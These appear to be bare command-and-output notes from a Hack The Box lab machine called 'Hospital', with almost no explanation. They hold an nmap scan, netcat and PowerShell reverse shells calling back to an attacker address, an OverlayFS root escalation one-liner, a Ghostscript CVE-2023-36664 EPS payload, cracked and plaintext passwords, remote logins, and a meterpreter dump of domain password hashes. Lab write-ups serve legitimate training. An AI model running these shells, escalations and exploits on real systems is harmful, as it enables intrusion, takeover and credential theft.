┌──(kali㉿kali)-[~/Desktop/htb/Hospital]└─$ sudo nmap -sC -sV -T4 -Pn 10.10.11.241[sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-22 07:56 ESTNmap scan report for 10.10.11.241Host is up (0.20s latency).Not shown: 980 filtered tcp ports (no-response)PORT     STATE SERVICE           VERSION22/tcp   open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)|_  256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)53/tcp   open  domain            Simple DNS Plus88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2023-11-22 19:56:57Z)135/tcp  open  msrpc             Microsoft Windows RPC139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=DC| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb| Not valid before: 2023-09-06T10:49:03|_Not valid after:  2028-09-06T10:49:03443/tcp  open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=localhost| Not valid before: 2009-11-10T23:48:47|_Not valid after:  2019-11-08T23:48:47|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28| tls-alpn: |_  http/1.1|_http-title: 400 Bad Request445/tcp  open  microsoft-ds?464/tcp  open  kpasswd5?593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0636/tcp  open  ldapssl?| ssl-cert: Subject: commonName=DC| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb| Not valid before: 2023-09-06T10:49:03|_Not valid after:  2028-09-06T10:49:031801/tcp open  msmq?2103/tcp open  msrpc             Microsoft Windows RPC2105/tcp open  msrpc             Microsoft Windows RPC2107/tcp open  msrpc             Microsoft Windows RPC2179/tcp open  vmrdp?3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=DC| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb| Not valid before: 2023-09-06T10:49:03|_Not valid after:  2028-09-06T10:49:033269/tcp open  globalcatLDAPssl?| ssl-cert: Subject: commonName=DC| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb| Not valid before: 2023-09-06T10:49:03|_Not valid after:  2028-09-06T10:49:033389/tcp open  ms-wbt-server     Microsoft Terminal Services| ssl-cert: Subject: commonName=DC.hospital.htb| Not valid before: 2023-09-05T18:39:34|_Not valid after:  2024-03-06T18:39:34| rdp-ntlm-info: |   Target_Name: HOSPITAL|   NetBIOS_Domain_Name: HOSPITAL|   NetBIOS_Computer_Name: DC|   DNS_Domain_Name: hospital.htb|   DNS_Computer_Name: DC.hospital.htb|   DNS_Tree_Name: hospital.htb|   Product_Version: 10.0.17763|_  System_Time: 2023-11-22T19:58:15+00:008080/tcp open  http              Apache httpd 2.4.55 ((Ubuntu))| http-title: Login|_Requested resource was login.php|_http-open-proxy: Proxy might be redirecting requests| http-cookie-flags: |   /: |     PHPSESSID: |_      httponly flag not set|_http-server-header: Apache/2.4.55 (Ubuntu)Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:| smb2-time: |   date: 2023-11-22T19:58:20|_  start_date: N/A| smb2-security-mode: |   3:1:1: |_    Message signing enabled and required|_clock-skew: mean: 6h59m55s, deviation: 0s, median: 6h59m54s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 146.47 seconds

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.86 4444 >/tmp/f

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("chmod +s /bin/bash")'
/bin/bash -p

root:$y$j9T$s/Aqv48x449udndpLC6eC.$WUkrXgkW46N4xdpnhMoax7US.JgyJSeobZ1dzDs..dD:19612:0:99999:7:::drwilliams:$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/:19612:0:99999:7:::

┌──(kali㉿kali)-[~/Desktop/htb/Hospital]└─$ john -w:/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])Cost 1 (iteration count) is 5000 for all loaded hashesWill run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusqwe123!@#        (drwilliams)     1g 0:00:01:25 DONE (2023-11-22 09:02) 0.01166g/s 2498p/s 2498c/s 2498C/s raycharles..pucciUse the "--show" option to display all of the cracked passwords reliablySession completed.

┌──(kali㉿kali)-[~/Desktop/htb/Hospital/CVE-2023-36664-Ghostscript-command-injection-main]└─$ python3 CVE_2023_36664_exploit.py -g --payload calc --filename geqian --extension eps[+] Generated EPS payload file: geqian.eps┌──(kali㉿kali)-[~/Desktop/htb/Hospital/CVE-2023-36664-Ghostscript-command-injection-main]└─$ cat geqian.eps                                                                       %!PS-Adobe-3.0 EPSF-3.0%%BoundingBox: 0 0 300 300%%Title: Welcome EPS
/Times-Roman findfont24 scalefontsetfont
newpath50 200 moveto(Welcome at vsociety!) show
newpath30 100 moveto60 230 lineto90 100 linetostroke(%pipe%calc) (w) file /DCTDecode filtershowpage

drbrown:chr!$br0wn

xfreerdp /v:hospital.htb /u:'drbrown' /p:'chr!$br0wn' /d:"dc.hospital.htb"

rdesktop -u drbrown -p 'chr!$br0wn' -d dc.hospital.htb hospital.htb

Administrator:Th3B3stH0sp1t4l9786!
evil-winrm -i 10.10.11.241 -u Administrator -p 'Th3B3stH0sp1t4l9786!'

meterpreter > getuidServer username: HOSPITALAdministratormeterpreter > hashdump[*] Meterpreter session 3 opened (10.10.14.119:6666 -> 10.10.11.241:21083) at 2023-11-22 10:42:05 -0500Administrator:500:aad3b435b51404eeaad3b435b51404ee:a1a0158142556cfc5aa9fdb974e0352f:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:26fb7ca2f4a67b2d8d81ffcfeeeffd13:::$431000-R1KSAI1DGHMH:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SM_0559ce7ac4be4fc6a:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SM_bb030ff39b6c4a2db:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SM_9326b57ae8ea44309:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SM_b1b9e7f83082488ea:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SM_e5b6f3aed4da4ac98:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SM_75554ef7137f41d68:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SM_6e9de17029164abdb:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SM_5faa2be1160c4ead8:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SM_2fe3f3cbbafa4566a:1133:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::drbrown:1601:aad3b435b51404eeaad3b435b51404ee:33a3edc8fc4cf06cb3b836c541a7b997:::drwilliams:1602:aad3b435b51404eeaad3b435b51404ee:c377ba8a4dd52401bc404dbe49771bbc:::DC$:1000:aad3b435b51404eeaad3b435b51404ee:e5ab307522689fdeb58c50aec017c1a4:::

powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.14.119', 8888);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"